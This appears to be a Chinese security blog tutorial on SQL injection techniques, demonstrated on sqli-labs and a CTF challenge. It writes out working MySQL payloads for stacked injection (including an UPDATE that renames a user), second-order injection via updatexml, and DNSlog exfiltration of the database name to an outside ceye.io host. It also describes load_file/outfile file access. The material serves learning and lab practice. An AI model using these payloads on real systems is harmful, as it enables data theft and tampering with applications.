SQL注入漏洞3

SQL注入sao姿势

为什么我说是sao姿势,原因是这些sao姿势的存在一般都需要特定的条件,比如数据库的特性,当前数据库用户的权限,代码逻辑缺陷等等。

堆叠注入

在MYSQL数据库中,分号‘;’是用来表示一条sql语句的结束。也就是在分号后可以继续下一条sql语句。当然堆叠注入存在局限性,它取决于数据库类型是否支持多条语句执行,同时也受到了当前连接数据库用户的权限的制约。
当然,在现实情况下,由于代码执行后通常只会返回一个查询结果,因此我们是无法在前端页面中看到返回结果的。这也是一个比较鸡肋的地方。
实例:sqlilabs靶场第38关
这里我是通过1%27;select%20sleep(5)–+,来使页面延迟5秒来判断出存在延迟注入。再用1%27;update%20users%20set%20username=%27beczou%27%20where%20id=1–%20,将id=1的用户名修改为‘beczou’
在这里插入图片描述
在这里插入图片描述
堆叠注入就讲到这里,这里补充一下,mysql,sql server,postgresql支持多条语句执行,Oracle不支持

二次注入

二次注入的原理:
第一步,插入恶意数据,当数据插入数据库时,仅仅对其中的特殊字符进行了转义,但是在写入数据库时还是保留原来的数据
第二步,引用恶意数据,由于开发者信任数据库中取出的数据是无害的,当写入的恶意数据,被查询或者被执行时,就造成了二次注入。
实例:BUUCTF-[RCTF2015]EasySQL
这是一道ctf,这样我就只验证存在二次注入,后续解题,可以网上找相关文章。
首先注册一个账号:用户名:beczou"^updatexml(1,concat(0x7e,database()),1)#
其他任意,然后用创建好用户进行登录,在修改密码,也是任意,之后确认。页面报错显示当前数据库名,存在二次注入
在这里插入图片描述
这里我所认识的就是,二次注入一般产生在这注册且有修改的地方,也就是sql语句中的insert和update操作。

Dnslog注入

Dnslog解决不回显的问题,Dnslog还运用到命令执行,SSRF等
如果不懂,可以参考网上的dnslog的文章
?id=1%27%20and(select%20load_file(concat(%27\\%27,(select%20database()),%27.7ac2az.ceye.io\aa%27)));–+
在这里插入图片描述
在这里插入图片描述
在DNS解析记录里可以看到当前数据库名‘security’。
这里需要注意到的是,攻击语句中使用了load_file()这个函数,这个函数是mysql文件读取的函数,它也请求url(所以才能在dnslog看到记录)。使用该函数,必须满足当前连接数据库的用户必须有文件读写的权限,就是高权限root用户。

高权限注入

高权限指的是当前所连接数据库的用户是‘dba’(数据库管理员),它进行跨库查询,文件读写,命令执行,注册表等相关操作。
在这里插入图片描述
在MYSQL数据库中root用户拥有数据库的最高权限,所以可以通过查询当前连接数据库的用户是否为数据库管理员,也可以通过sqlmap注入工具中的‘–is-dba’参数,看返回是否为“True”。
这里来看看文件的读写操作,
使用load_file()函数读取文件,注意使用反斜杠。
在这里插入图片描述
使用outfile()函数写入文件,也要注意使用反斜杠。
在这里插入图片描述
虽然图中执行的sql语句中,并没有phpinfo(),但是也成功执行并写入(我也不知道是什么情况造成的),你也可以将要写入的内容先进行16进制编码,就会有显示
在这里插入图片描述

总结

不要浮躁!!!!!!!!!!!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值